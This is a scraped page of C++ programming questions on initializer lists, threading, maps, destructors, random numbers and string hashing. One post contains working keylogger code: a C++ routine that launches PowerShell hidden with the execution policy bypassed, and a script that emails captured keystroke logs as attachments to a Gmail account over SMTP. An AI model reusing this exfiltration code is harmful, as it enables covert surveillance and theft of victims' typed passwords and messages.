The point is, if you have one constructor that takes a (I guess only) std::initializer_list, when you brace initialize this constructor will be strongly prefered: in other words, std::vector<int> NewVect{5, 10} will create an object containing 5 and 10, not 5 element initialized to 10 (std::vector<int> NewVect(5, 10)).

A special behaviour takes place for auto brace initialization (auto A={1,2,3} will be deduced to be a std::initializer_list<int>). Now, I can't believe in C++ a particular treatment is accorded to specific objects, since to my knowledge header are only well written and useful code snippet. Moreover, those syntaxes don't work if you don't directly or indirectly #include <initializer_list>, even though my compiler, VS2017, prints a very special set of error pointing out that it needs that header to work (you can easily test this out with auto).

So, my question is, given for granted that this behaviour is the effect of code from the initiliazer list's header and my compiler is probably built to assume the use of STD, how is it implemented? Could I reroute this behaviour to never happen aside from explicit call (that is, std::vector<int> NewVect{5, 10} would be equivalent to std::vector<int> NewVect(5, 10) and you would need now to call std::vector<int> NewVect{std::initializer_list<int>{5, 10}})? Would be possible to give this behaviour to other, user-built classes?

lundi 29 octobre 2018

Powershell email send from C++ application

I have been studying a keylogger malware application. C++ windows app traces all the keyboard inputs from the user and record it into a text file. The app sends the text files to a gmail account. I used Windows Powershell to do it. However, it does not send emails to the account with error 259. I thought the powershell script has a problem.

Param( 

   [String]$Att,

   [String]$Subj,

   [String]$Body

)



Function Send-EMail {

    Param (

    [Parameter(`

        Mandatory=$true)]

    [String]$To,

     [Parameter(`

        Mandatory=$true)]

    [String]$From,

    [Parameter(`

        Mandatory=$true)]

    [String]$Password,

    [Parameter(`

        Mandatory=$true)]

    [String]$Subject,

    [Parameter(`

        Mandatory=$true)]

    [String]$Body,

    [Parameter(`

        Mandatory=$true)]

    [String]$attachment

)

try

    {

        $Msg = New-Object System.Net.Mail.MailMessage($From, $To, $Subject, $Body)

        $Srv = "smtp.gmail.com" 

        if ($attachment -ne $null) {

            try

                {

                    $Attachments = $attachment -split ("\:\:");

                    ForEach ($val in $Attachments)

                        {

                            $attch = New-Object System.Net.Mail.Attachment($val)

                            $Msg.Attachments.Add($attch)

                        }

                }

            catch

                {

                    exit 2; 

                }

        }

        $Client = New-Object Net.Mail.SmtpClient($Srv, 465) #587 port for smtp.gmail.com SSL

        $Client.EnableSsl = $true 

        $Client.Credentials = New-Object System.Net.NetworkCredential($From.Split("@")[0], $Password); 

        $Client.Send($Msg)

        Remove-Variable -Name Client

        Remove-Variable -Name Password

        exit 7; 

      }

  catch

      {

        exit 3;   

      }

} #End Function Send-EMail

try

{

    Send-EMail -attachment $Att -To "ichwang@npcore.com" -Body $Body -Subject $Subj -password "**********" -From "ichwang@npcore.com"

}

catch

{

    exit 4; 

}

I am not sure what is the problem. Here is the C++ code to mail send code.

int SendMail(const std::string &subject, const std::string &body, const std::string &attachments)
    {
        bool ok;

        ok = IO::MKDir(IO::GetOurPath(true));
        if(!ok)
            return -1;

        std::string scr_path = IO::GetOurPath(true) + std::string(SCRIPT_NAME);

        if(!CheckFileExists(scr_path))
            ok=CreateScript();

        if(!ok)
            return -2;

        std::string param = "-ExecutionPolicy Bypass -File \"" + scr_path + "\" -Subj \""
                            + StringReplace(subject, "\"", "\\\"") +
                            "\" -Body \""
                            + StringReplace(body, "\"", "\\\"") +
                            "\" -Att \"" + attachments + "\"";

        SHELLEXECUTEINFO ShExecInfo = {0};
        ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
        ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
        ShExecInfo.hwnd = NULL;
        ShExecInfo.lpVerb = "open";
        ShExecInfo.lpFile = "powershell";
        ShExecInfo.lpParameters = param.c_str();
        ShExecInfo.lpDirectory = NULL;
        ShExecInfo.nShow = SW_HIDE;
        ShExecInfo.hInstApp = NULL;

        ok = (bool) ShellExecuteEx(&ShExecInfo);
        if(!ok)
            return -3;

        WaitForSingleObject(ShExecInfo.hProcess, 7000);
        DWORD exit_code = 100;

        GetExitCodeProcess(ShExecInfo.hProcess, &exit_code);

        m_timer.setFunction([&]()
        {
            WaitForSingleObject(ShExecInfo.hProcess, 60000);
            GetExitCodeProcess(ShExecInfo.hProcess, &exit_code);
            if((int)exit_code == STILL_ACTIVE)
                TerminateProcess(ShExecInfo.hProcess, 100);

            Helper::WriteAppLog("<From SendMail> Return code: " + Helper::ToString((int)exit_code));
        });

        m_timer.RepeatCount(1L);
        m_timer.SetInterval(10L);
        m_timer.Start(true);
        return (int)exit_code;

    }

Here is the C++ code to execute Powershell

void TimerSendMail()
{
    if(keylog.empty())
            return;

std::string last_file = IO::WriteLog(keylog);

if(last_file.empty())
{
    Helper::WriteAppLog("File creation was not successful. Keylog '" + keylog + "'");

    return;
}

int x = Mail::SendMail("Log [" + last_file + "]",
                       "Hi :) \n The file has been attached to this mail :)\n"
                       "For testing, enjoy:!" + keylog,
                       IO::GetOurPath(true) + last_file);

if( x != 7)
    Helper::WriteAppLog("Mail was not sent! Error code: " + Helper::ToString(x));
else
    keylog="";

}

I am suspicious of three functions above causing errors. If you want to look into the full source code. Here it is.

https://github.com/CPP-CProgramming/keylogger/blob/master/SendMail.h

Inputting string into array in C++11

How do you convert a string into a 2d array? For example, I want an array with row named a to d and column named 1 to 4 and I ask the user for an input of let's say b3 and so on. How do I do this? What function should I use? Getline?

doesnt match the test

I got this code here:

https://pastebin.com/jaD4tSZe

and I wrote the test

https://pastebin.com/ynqfdBmF

But the test says

>   REQUIRE( pluralize({"car", "dog", "cot"}) == make_vec({"cars", "dogs", "cots"}) )

with expansion:
  { "car", "dog", "cot" }
  ==
  { "cars", "dogs", "cots" }

Can someone help me find the mistake, please?

C++ map find return garbage value

my map is as follow: std::map<int, int> BuffList = std::map<int, int>(); it's being used multiple times by multiple threads (insert,remove,find,count) are the main functions.

When I test it by myself it works fine, but when its used by multiple people multiple times, the find function seems to return garbage values.

I also use critical section for the multithread handling.

Insert:

if (!buffCrit.IsLocked()) {
        buffCrit.Enter();
        BuffList[(PID + 4000000000 + (BuffID * 1000000))] = Value;
        buffCrit.Leave();
    }

Find

if (!buffCrit.IsLocked()) {
        buffCrit.Enter();

        if (BuffList.count((PID + 4000000000 + (BuffID * 1000000))))
            Value = BuffList.find((PID + 4000000000 + (BuffID * 1000000)))->second;

        buffCrit.Leave();
    }

Any suggestion?

Create a new reverse list (own class) using vector in C++

I have the next code:

#include <vector>
#include <string.h>
#include <algorithm>
#include <stdio.h>
#include <tchar.h>

class TList {
private:
     std::vector<const char*> elementos;
     int position;
     TList(std::vector<const char*> elementos);
public:
    TList(const char** e, int s);
    TList *GetReverseList();
    int Size();
    const char *Next();
};

TList::TList(const char** e, int s) {
    std::vector<const char*> res (&e[0], &e[s]);
    elementos = res;
    position = 0;
}

TList::TList(std::vector<const char *> elementos) {
    std::vector<const char*> res = std::vector<const char*>();
    int size = elementos.size();
    for (int i = 0; i < size; i++) {
        res.push_back(elementos.at(i));
    }
    elementos = res;
    position = 0;
}

//Create a new TList with the reverse list of elements
TList *TList::GetReverseList() {
    TList *res = new TList(elementos);
    std::reverse(res->elementos.begin(), res->elementos.end());
    return res;
}

int TList::Size() {
    return elementos.size();
}

//Use the position to get the next char *
const char * TList::Next() {
    const char * res;
    if (elementos.empty()) {
        res = NULL;
    }
    else {
        int pos = position;
        int size = elementos.size();
        res = pos == size ? elementos.at(position - 1) : elementos.at(position);
        if (pos < size) {
            position++;
        }
    }
    return res;
}

int main()
{
    int size = 2;
    const char *arr[2] = {"Hola", "AAAA"};
    TList *list = new TList(arr, size);
    TList *listReverse = list->GetReverseList();
    printf("Size: %u \n", listReverse->Size());
    printf("First value: %s \n", listReverse->Next());
    printf("Second value: %s \n", listReverse->Next());
    delete list;
    delete listReverse;
    return 0;
}

When I run it in Visual Studio it says in the console

Size: 0
First Value: (null)
Second Value: (null)

and it throw an exception "wntdll.pdb not loaded" "wntdll.pdb contains the debug information required to find the source for the module ntdll.dll" and also open this window:

enter image description here

I want to create a new TList as optimized as possible but with its elements reversed, I don't want to do a copy constructor because I need it as a function "GetReverseList" so, what can I do?

What's the difference between returning a const object reference (getter), and just the string?

I was going through the c++ website tutorials as a nice compliment to a college course I'm taking this semester (beginner). While learning about copy constructors and destructors, I came across this section of code:

// destructors
#include <iostream>
#include <string>
using namespace std;

class Example4 {
    string* ptr;
  public:
    // constructors:
    Example4() : ptr(new string) {}
    Example4 (const string& str) : ptr(new string(str)) {}
    // destructor:
    ~Example4 () {delete ptr;}
    // access content:
    const string& content() const {return *ptr;}
};

int main () {
  Example4 foo;
  Example4 bar ("Example");

  cout << "bar's content: " << bar.content() << '\n';
  return 0;
}

Now, I understand the destructor part, but the getter for the string member confused me. Why return a reference (alias) to the object (string in this case)?

// access content:
const string& content() const {return *ptr;}

What is the difference between that, and just returning the string?

string content() const {
    return *ptr;
}

Is returning a const alias more efficient? Are you returning just the address of the string, or the string itself? What about when just returning the string, are you returning the entire string? Thanks.

Is a dynamically allocated 2D array automatically deleted after the program exits?

I am learning about destructors right now because I am making this assignment about matrices (we're supposed to make a Matrix class and overload operators to do Matrix operations and me and the person I am going to mention in the next bit were planning to also make it perform Gauss-Jordan elimination, if this is relevant) which are represented in this assignment through dynamic 2D arrays.

I heard someone talk about using a destructor for the deletion process of the arrays. I started reading about destructors and one of the events that calls a destructors that seemed like the only time a destructor would be used in an application like this was the termination of the program, so I am left kind of confused as to why he'd need a destructor? What's the significance of a destructor in an application like this?

Unexplained 'looser throw specifier' error from gcc c++11

The following code when compiled with gcc 5.4.0 displays a 'looser throw specifier error'. I don't see why.

class Err {
};

class A {
    public:
        A() {}
        ~A() throw(Err) {}
};

class Base {
    public:
        inline Base()  { }
        inline virtual ~Base() { }
};

class Derived : public virtual Base {
    public:
        A a;
        Derived() { }
};

int main()
{
    return 0;
}

g++ --std=c++11 -m64 -Wtype-limits -Wextra -ggdb -Wall -Werror looserthrow.cpp -o looserthrow looserthrow.cpp:16:7: error: looser throw specifier for ‘virtual Derived::~Derived() throw (Err)’ class Derived : public virtual Base { ^ looserthrow.cpp:13:24: error: overriding ‘virtual Base::~Base() noexcept’ inline virtual ~Base() { } ^

Using Hill Climbing algorithm for optimization

I have to maximize the function f=x^3-60x^2+900x+100 using hill climbing algorithm.I have to implement the first improve and best improve. The curent solution must be represented by a binary array with 5 elements and I have to calculate the neighbours by changing a single bit. For example if I generate the random solution
x=(0, 0, 1, 1, 0, 1) one neighbour could be y=(1, 0, 1, 0, 1). Could someone help me with the c++ code for this algorithm? Thank you!

How to use SFINAE to enable implicitness of explicitness of the conversion operator?

Consider the following code:

// Preamble
#include <iostream>
#include <type_traits>

// Wrapper
template <class From>
struct wrapper
{
    // Implicit conversion
    template <class To, class = typename std::enable_if<
        std::is_convertible<From, To>::value
    >::type>
    constexpr operator To() const noexcept;

    // Explicit conversion
    template <class To, class = typename std::enable_if<
        !std::is_convertible<From, To>::value
        && std::is_constructible<To, From>::value
    >::type>
    explicit constexpr operator To() const noexcept;
};

// Main
int main(int argc, char* argv[])
{
    wrapper<int> x;
    double y = x;
    return 0;
}

Ideally this code would make the conversion operator implicit when From is implicitly convertible to To, and make the conversion operator explicit when To is explicitly constructible from From.

However, the code currently does not compile because from the compiler standpoint, both conversion operators have the same signature.

Question: Would there be any way to trick the compiler to produce the expected behavior?

Response from browser is different from the response retrieved via a React app

I am trying to query my server (mongoose C++) from a react app by sending a get request $IP/query/. The response I get is different from the response if I write the same query in a web browser $IP/query/

Calling future / async with user defined parameter and invoking a class method

Is it possible to call a function async and return a value with a class method:

void A::GetReply()
{
std::async([this](const struct mydata& msg)
    {
        oncall(msg);
    }));

void A::onReply(const struct mydata& msg)
{
return msg.value;
}

I get compilation error:

6>: error C2672: 'std::async': no matching overloaded function found
6>: error C2893: Failed to specialize function template 'std::future<_Invoke_traits<void,_Callable,decay<_ArgTypes>::type...>::type> std::async(_Fty &&,_ArgTypes &&...)'
6>        with
6>        [
6>            _Callable=decay<_Ty>::type
6>        ]
6>: note: With the following template arguments:
6>: note: '_Fty=A::{ctor}::<lambda_75cbb6e549dc12613fd9546c1d31aa61>'
6>: note: '_ArgTypes={}'
6>: error C2780: 'std::future<_Invoke_traits<void,_Callable,decay<_ArgTypes>::type...>::type> std::async(std::launch,_Fty &&,_ArgTypes &&...)': expects 3 arguments - 1 provided
6>        with
6>        [
6>            _Callable=decay<_Ty>::type
6>        ]
6>c:\program files (x86)\microsoft visual studio\2017\professional\vc\tools\msvc\14.15.26726\include\future(1821): note: see declaration of 'std::async'

What is correct way of implementation a function call for 'future' with launch as async and get the return value of the async function call?

Unable to create unordered_set with lambda function

I get the error

error: call to implicitly-deleted default constructor of '__compressed_pair_elem<(lambda at 
main.cpp:181:16), 1>': _Base1(std::forward<_Tp>(__t)), _Base2() {}

with the following code. What's the mistake I am making and I couldn't understand the error as well.

using namespace std;

auto my_hash = [](vector<int> const& vec){
    size_t seed = vec.size();
    for(auto& i : vec) {
        seed ^= i + 0x9e3779b9 + (seed << 6) + (seed >> 2);
    }
    return seed;
};

using MySet = unordered_set<vector<int>, decltype(my_hash)>;

int main() {
    vector<int> a{1,2,3};
    MySet s;
    return 0;
}

String matched for some cases and not for other using rabin karp algorithm?

// n -> length of the text
// m -> length of the pattern    
void rabin_karp_check(int n, int m){
        int h_p = hash_value(pattern, m, 0);       
        int h_t = hash_value(text, m, 0); 
        int x = 0;
        int i = 0,k;
        while(i < n - m + 1){
            if(x > 0){
                h_t = rolling_hash(h_t, m, i);  
                }
            x++;
            int j = i;
            if(h_t == h_p){   
                int match_count = 0;
                k = 0;
                while( match_count < m){        
                    if(pattern[k] == text[j]){
                        match_count++;  k++; j++;
                    }
                    else
                        break;
                }
                if(match_count == m)
                    cout<<"found at "<<i<<"\n";
            }
            i++;
        }
    }

func to calculate hash value of pattern and initial slide of size m of the text using hash_formula

//(256^m-1 * p[0] + 256^m-2 * p[1] + 256^m-3 * p[2] + .... + 256^0 * p[m-1]) % q

int hash_value(string &p, int &m, int i){

        int q = 101,k = 0;    
        long long int l = 0;
        for(int j = i;j < i + m ; j++){
            l = l + pow(256, m - 1 - k) * p[j];
            k++;
        }
        return l % q;               
    }

Function to calculate next hash value using the previous calculated

int rolling_hash(int h_t, int m, int i){   
        int x = (   ( (h_t - ((long int)pow(256, m - 1) * text[i-1])) * 256)  +  text[i + m - 1] ) % 101;
            return (x < 0) ? x + 101 : x;
    }

Output #1:

enter the text: platform for showcasing
enter the pattern: for
found at 4
found at 9

Output #2: Not detected

enter the text: karp rabin
enter the pattern: rabin

Output #3 : detected

enter the text: best practices in
enter the pattern: ic
found at 10

Output # 4: Not detected

enter the text: would you like to hear me tell a joke
enter the pattern: hear

I am unable to figure out why is this happening. I think for some cases the hash value calculated by rolling hash function from the previously stored hash value is not equal to the actual hash value for that size(m) of text. where am I doing wrong?

Thanks in advance

Why after deleting object which reference points to it continues to live?

I have such program:

#include <iostream>
#include <string>
#include <vector>
#include <algorithm>

class no_object : public std::exception
{
    protected:
        std::string mMsg;
    public:
        no_object(const char* msg) : mMsg(msg) {}
        virtual ~no_object() noexcept override {}
        virtual const char* what() const noexcept override { return mMsg.c_str(); }
};

using namespace std;

class Object {
public:
    Object(const string info) : information(info) { cout << "Object constructor!" << endl; }
    ~Object() { cout << "Object destructor!" << endl; }
    Object(const Object& obj) { information = obj.information; cout << "Copy constructor!" << endl; }
    void setInformation() {  }
    string getInformation() const { return information; }
private:
    string information;
};

class Storage {
public:
    Storage(const size_t width) {
        objs = static_cast<Object*>(malloc(sizeof(Object) * width));

        if (objs == NULL)
            throw std::bad_alloc();

        lastPointer = objs + sizeof (Object) * (width - 1);
    }

    void storeObject(Object& obj, size_t index) {
        if (isIndexOutOfRange(index))
            throw std::out_of_range("Oops, index is out of range!");

        availableIndexes.push_back(index);
        objs[index] = obj;
    }

    Object& getObjectAtIndex(size_t index) const {
        if (isIndexOutOfRange(index))
            throw std::out_of_range("Oops, index is out of range!");

        auto it = find(availableIndexes.begin(), availableIndexes.end(), index);
        if (it == availableIndexes.end())
            throw no_object("Oops, the object for this index is not set!");

        return objs[index];
    }

    ~Storage() {
        free(objs);
    }
private:
    bool isIndexOutOfRange(size_t index) const noexcept {
        Object* indexPointer = objs + sizeof (Object) * index;

        if (indexPointer > lastPointer)
            return true;

        return false;
    }

    vector<size_t> availableIndexes;

    Object* objs;
    Object* lastPointer;
};

int main()
{
    Storage storage(3);
    {
        cout << "1" << endl;
        Object obj = Object("lambo");
        cout << "2" << endl;
        Object& objRef = obj;
        cout << "3" << endl;
        storage.storeObject(objRef, 2);
    }

    cout << "4" << endl;
    Object savedObject = storage.getObjectAtIndex(2);
    cout << "Information from stored object is " << savedObject.getInformation() << endl;

    return 0;
}

Interesting thing is that I have next output:

1
Object constructor!
2
3
Object destructor!
4
Copy constructor!
Information from stored object is lambo
Object destructor!

This program stores references to objects and then we can get them. As I know after object to which reference points to is deleted, the reference become unavailable and it points to garbage. But in my case copy constructor is called.

Maybe you could help me to understand it more deeply, because now I am confused. Thanks in advance, also if you could point me on other potential problems that will help me a lot too.

c++ return a std::string &

std::string &func(int vlu)
{
    std::string str;
    str = std::to_string(vlu) + "something";

    return str;
}

the function above is unsafe clearly.
following is another version.

std::string &func(int vlu)
{
    return std::to_string(vlu) + "something";
}  

I have some questions:
the compiler(gcc), in the second version, doesn't give me any warning. does it safe?
I just think that compiler(or something?) will create a temporary variable to hold the return of expression std::to_string(vlu) + "something". so the second version is unsafe too. and I right?

Difference between array of unordered_set and vector of unordered_set in c++ ? how to initialise both of them?

Is there any difference between an array of unordered_set and vector of unordered_set and how to initialise these two.

C++ wait for a callback to complete within a callback

We have a code that registers a callback. So the flow that registers the callback has no knowledge of when the callback will be called.

Now the callback will called by another flow in a thread - hence the main flow that has registered the callback needs to wait for callback to complete.

I am having no idea to implement the same as I cannot modify anything in the other thread that will call the callback. How can I make my main thread to responds synchronously - after the callback is called by other thread?

Is the new random library really better than std::rand()?

So I saw a talk called rand() Considered Harmful and it advocated for using the engine-distribution paradigm of random number generation over the simple std::rand() plus modulus paradigm.

However, I wanted to see the failings of std::rand() firsthand so I did a quick experiment:

Basically, I wrote 2 functions getRandNum_Old() and getRandNum_New() that generated a random number between 0 and 5 inclusive using std::rand() and std::mt19937+std::uniform_int_distribution respectively.

Then I generated 960,000 (divisible by 6) random numbers using the "old" way and recorded the frequencies of the numbers 0-5. Then I calculated the standard deviation of these frequencies. What I'm looking for is a standard deviation as low as possible since that is what would happen if the distribution were truly uniform.

I ran that simulation 1000 times and recorded the standard deviation for each simulation. I also recorded the time it took in milliseconds.

Afterwards, I did the exact same again but this time generating random numbers the "new" way.

Afterwards, I calculated the mean and standard deviation of the list of standard deviations for both the old and new way and the mean and standard deviation for the list of times taken for both the old and new way.

Here were the results:

[OLD WAY]
Spread
       mean:  346.554406
    std dev:  110.318361
Time Taken (ms)
       mean:  6.662910
    std dev:  0.366301

[NEW WAY]
Spread
       mean:  350.346792
    std dev:  110.449190
Time Taken (ms)
       mean:  28.053907
    std dev:  0.654964

Surprisingly, the aggregate spread of rolls was the same for both methods. I.e., std::mt19937+std::uniform_int_distribution was not "more uniform" than simple std::rand()+%. Another observation I made was that the new was about 4x slower than the old way. Overall, it seemed like I was paying a huge cost in speed for almost no gain in quality.

Is my experiment flawed in some way? Or is std::rand() really not that bad, and maybe even better?

For reference, here is the code I used in its entirety:

#include <cstdio>
#include <random>
#include <algorithm>
#include <chrono>

int getRandNum_Old() {
    static bool init = false;
    if (!init) {
        std::srand(time(nullptr)); // Seed std::rand
        init = true;
    }

    return std::rand() % 6;
}

int getRandNum_New() {
    static bool init = false;
    static std::random_device rd;
    static std::mt19937 eng;
    static std::uniform_int_distribution<int> dist(0,5);
    if (!init) {
        eng.seed(rd()); // Seed random engine
        init = true;
    }

    return dist(eng);
}

template <typename T>
double mean(T* data, int n) {
    double m = 0;
    std::for_each(data, data+n, [&](T x){ m += x; });
    m /= n;
    return m;
}

template <typename T>
double stdDev(T* data, int n) {
    double m = mean(data, n);
    double sd = 0.0;
    std::for_each(data, data+n, [&](T x){ sd += ((x-m) * (x-m)); });
    sd /= n;
    sd = sqrt(sd);
    return sd;
}

int main() {
    const int N = 960000; // Number of trials
    const int M = 1000;   // Number of simulations
    const int D = 6;      // Num sides on die

    /* Do the things the "old" way (blech) */

    int freqList_Old[D];
    double stdDevList_Old[M];
    double timeTakenList_Old[M];

    for (int j = 0; j < M; j++) {
        auto start = std::chrono::high_resolution_clock::now();
        std::fill_n(freqList_Old, D, 0);
        for (int i = 0; i < N; i++) {
            int roll = getRandNum_Old();
            freqList_Old[roll] += 1;
        }
        stdDevList_Old[j] = stdDev(freqList_Old, D);
        auto end = std::chrono::high_resolution_clock::now();
        auto dur = std::chrono::duration_cast<std::chrono::microseconds>(end-start);
        double timeTaken = dur.count() / 1000.0;
        timeTakenList_Old[j] = timeTaken;
    }

    /* Do the things the cool new way! */

    int freqList_New[D];
    double stdDevList_New[M];
    double timeTakenList_New[M];

    for (int j = 0; j < M; j++) {
        auto start = std::chrono::high_resolution_clock::now();
        std::fill_n(freqList_New, D, 0);
        for (int i = 0; i < N; i++) {
            int roll = getRandNum_New();
            freqList_New[roll] += 1;
        }
        stdDevList_New[j] = stdDev(freqList_New, D);
        auto end = std::chrono::high_resolution_clock::now();
        auto dur = std::chrono::duration_cast<std::chrono::microseconds>(end-start);
        double timeTaken = dur.count() / 1000.0;
        timeTakenList_New[j] = timeTaken;
    }

    /* Display Results */

    printf("[OLD WAY]\n");
    printf("Spread\n");
    printf("       mean:  %.6f\n", mean(stdDevList_Old, M));
    printf("    std dev:  %.6f\n", stdDev(stdDevList_Old, M));
    printf("Time Taken (ms)\n");
    printf("       mean:  %.6f\n", mean(timeTakenList_Old, M));
    printf("    std dev:  %.6f\n", stdDev(timeTakenList_Old, M));
    printf("\n");
    printf("[NEW WAY]\n");
    printf("Spread\n");
    printf("       mean:  %.6f\n", mean(stdDevList_New, M));
    printf("    std dev:  %.6f\n", stdDev(stdDevList_New, M));
    printf("Time Taken (ms)\n");
    printf("       mean:  %.6f\n", mean(timeTakenList_New, M));
    printf("    std dev:  %.6f\n", stdDev(timeTakenList_New, M));
}

dimanche 28 octobre 2018

what is the best modern c++ approach to construct and manipulate a 2d array

As in the title, I got to find tons of solutions doing this. Most people would say std::array<4, std::array<4, int>> or std::vector<std::vector<int>> are good, which, however, I find looks teidous and hard to extend to multi-dimensional arrays. Also, I fear that these arrays are actually object-arrays which is likely to be with some overhead (I guess so, not really certain). So what is the best way to do this ?

shrinking stl string to a capacity of less than 15 characters

Consider std::string, and the capacity

 std::string aString = "12345678901234567890";
 std::cout << aString.capacity() << std::endl; // capacity is 20
 aString.clear();
 std::cout << "size: " << aString.size() << std::endl;
 std::cout << aString.capacity() << std::endl; // capacity is 20
 aString.shrink_to_fit();
 std::cout << aString.capacity() << std::endl; // capacity is 15?
 std::string newString;
 std::cout << newString.capacity() << std::endl; // capacity is 15?

Is 15 characters the minimum capacity? Is there any way to shrink it to the actual size of the string?

StringStream ( istringstream & ostringstream )

This is my first post here.

I would like to know that is it possible to accomplish:

I have Matrix class and two objects with rows, columns and entries set to zero. Then lets say I overload the extraction and insertion operator to take input and show output.

void test_input_output_self_consistency(size_t rows, size_t cols)
{
    std::cout << "Test_input_output_self_consistency";
    Matrix m1(rows, cols, 0);
    Matrix m2(rows, cols, 0);
    for (size_t i = 0; i < rows; ++i)
    {
        for (size_t j = 0; j < cols; ++j)
        {
            m1(i, j) = (j * 100 + i) / 9.0;
        }
    }

    std::stringstream ss;
    ss << m1;
    ss >> m2; // checking if your operator>> can parse your own output generated by operator<< 
    assert("check output and input operator" && almostEqual(m1, m2, 1e-4));

}

I am interested here:

std::stringstream ss;
ss<<m1;
ss>>m2;

// checking if your operator>> can parse your own output generated by operator<<

Implementation for iostream >> and ostream << is simple which takes input and shows output respectively. Thanks in advance

When i try to access size it shows 0 and not filled

    class Rectangle{
    double m_width;
    double m_height;
    double m_initial_x;
    double m_initial_y;
    vector<double> coord_x;
    vector<double> coord_y;
public:
    Rectangle(double width = 0, double height = 0, double initial_x = 0, double initial_y = 0):
    m_width(width), m_height(height), m_initial_x(initial_x), m_initial_y(initial_y){
    }
    inline double getWidth() const{return m_width;}
    inline double getHeight() const{return m_height;}
    inline double getInitX() const{return m_initial_x;}
    inline double getInitY() const{return m_initial_y;}
    inline vector<double> &getX() { return coord_x; }
    inline vector<double> &getY() { return coord_y; }  
    void setWidth(double newWidth){
        m_width = newWidth;
    }
    void setHeight(double newHeight){
        m_height = newHeight;
    }
    void setInitX(double newInitX){
        m_initial_x = newInitX;
    }
    void setInitY(double newInitY){
        m_initial_y = newInitY;
    }
    void input(){
        cout << "width: ";
        cin >> m_width;
        cout << "height: ";
        cin >> m_height;
    }
    void draw(ofstream &myFile){
        for(int i = 0; i < coord_x.size(); i++){
            myFile << "<rect x=\"" << coord_x[i] << "\"" << " y=\"" << coord_y[i] << "\" "<< "width=\"" << getWidth() << "\" " << "height=\"" << getHeight() << "\" " << "fill=\"red\" stroke=\"white\"/>" << endl;
        }
    }
};

I have a class that place small rectangles. I tried to store coordinates in a vector. I can fill vector outside class and it really fill even i can show it's size. But when i try to write coordinates to a file, nothing happening. And when i try to see vector size. it's showing 0. I'm sure vector filling but outside filling part it's dying. How can i solve this problem?

Defining a Job Manager with a queue of "Task" function pointers

I am working on making a Job Manager that will have a thread pool of worker threads, and each of those worker threads will pull from the queue and execute the given jobs if there are any.

What I am struggling with is actually calling the function pointer that I have stored in a concurrent queue.

I have defined a CpuJob struct as follows:

class ITask {};  // An interface that should be inherited 
                 // from if you want your class to be "Jobified" 

typedef void ( ITask::*task_func )( void*, int ); // A job function 
                                                  // MUST take a void* and an int 

struct CpuJob
{
    task_func task_func_ptr;

    void* args = nullptr;

    int index = 0;
};

And here is my AddJob Function:

 void Jobs::JobManager::AddJob_Member( task_func aJob, void * aArgs, int aIndex )
 {
     CpuJob temp = {};
     temp.task_func_ptr = aJob;
     temp.args = aArgs;
     temp.index = aIndex;

     readyQueue.emplace_back( temp );    // This is a wrapper around std::queue to be concurrent and thread safe

     jobAvailableCondition.notify_one();

 }

And inside my worker thread, where I want to call the stored function pointer, is where I get my error:

 // Other stuff popping jobs off the queue
 if ( !readyQueue.empty() )
 {
     CpuJob CurJob;
     readyQueue.pop_front( CurJob );

     CurJob.task_func_ptr( CurJob.args, CurJob.index );  // This is giving me an error 

        // Notify other threads that a job has been taken and we should probably
        // check to make sure that there isn;t more
        jobAvailableCondition.notify_one();
    }

The error that I am getting is as follows:

Error (active) expression preceding parentheses of apparent call must have (pointer-to-) function type

I think that it has something to do with how I am referencing the function, but I have tried several ways of doing to no avail.

Destructor calling

I am new into C++ and I am currently learning it.
While I was exploring web and problems I came across on next code:

class A
{
    public:
    ~A() { cout << "A"; }

};

class B
{
    public:
        ~B() { cout << "B"; }
};


int main()
{
    A a;
    B b;

    return 0;
}

Output of looks like this:

BA

Can somebody explains why output looks like this?

how many threads for asio to read/write and how many for workers?

i am writing a chat server with file transfer to learn asio, workers io_context.run on multiple threads, and async_accept/async_read/async_write io_context.run on 1 thread, and all msgs are added to worker with worker.add() below. it will be handling heavy activity from the users (files and msgs).

is this the correct way of handling users? 1 thread to read/write from all users, and multiple threads to handle the data? or should it be the reverse? or 50/50? and is this the correct way to implement a worker with asio::strand?

worker::worker(asio::io_context& context):
    io_context_(context), // for workers only
    strand_(context)
{

}

void worker::add(const std::vector<char> &msg) {
    asio::post(strand_, [this, msg]() {
        bool handling = !messages_.empty();
        messages_.push_back(msg);
        if (!handling) {
            handle_message();
        }
    });
}

void worker::handle_message() {
    asio::post(io_context_, asio::bind_executor(strand_, ([this]() {
        auto msg = messages_.front();
        // do something with msg, maybe disk io,
        // or asio::post() to another strand
        messages_.pop_front();
        if (!messages_.empty())
            handle_message();
    })));
}

Reducing time in compilation in CLion for single file projects

Can I reduce compilation time in CLion for a single file project. I use CLion for competitive programming

Starting a thread or future with an std::string () const function

I would like to spawn a thread or a future calling this function:

std::string myClass::myFunction() const noexcept

I first tried spawning them both like this:

thread t0(myFunction); auto f1 = async(myFunction);

I would then get this error:

no instance of constructor "std::thread::thread" matches the argument list. argument types are: (std::string () const)

I then read online that since it is const I would need to call it by reference but all methods online have not worked, I am unsure if the problem is because the function is const or not. What I have tried:

thread t0(&myClass::myFunction); auto f1 = async(&myClass::myFunction);

and

thread t0(&myFunction); auto f1 = async(&myFunction);

After this I would have two new errors that I cannot find a solution to:

std::invoke: no matching overloaded function found.

and

Failed to specialize function template 'unknown-type std::invoke(_Callable &&,_Types &&...)'

I think this is due to my lack of understand on how threads and futures work but I am struggling to find literature that gives me any relation to this. Basically I don't really understand what rule I am breaking, if there is a fundamental flaw in my approach any direction or tips would be nice. Thank you for your time.

How to find if X can be represented as the summation any Y distinct positive integers?

For example if

X= 10 , Y= 3

2,3,5 and 1,4,6 are possible

However for Y=10 This is not possible as we know we can't represent 10 as sum of 10 distinct positive integers. Is there a more specific way to get the results?

Multicore library syncronization

I am not familiar with Multicore programing but understand that it is dealing with executable running in more than one processor. Now our embedded application will be build as two executable each running on separate core but it does not have shared memory in between them - so each core has separate executable doing specific operation.

I have been told to develop a C++ module that needs data from application running in both core and report it at one central place. This type of program is something new for me and they way I was thinking is to build a common library - which executable of both core will link with - but in one core - the library would behave as master while other as slave.

The reason is that let the data be collected in application in both the cores but it will collectively needs to be available in one place - so the slave library code will send a snapshot of its collection at timed interval to master - application need not worry of same. Application will use this library to update its statistics. That being done the master library running in a core is ready to serve the manager of data.

Since my knowledge is very limited and for reasons unforeseen - please guide me on my approach?

What does `class template Example

I've been referred to http://www.cplusplus.com/articles/1C75fSEw/ which gives the following example:

template <typename T> class Example
{
public:
    Example( T test )
    {
        _data = test;
    }
    void setTest(T test)
    {
        _data = T;
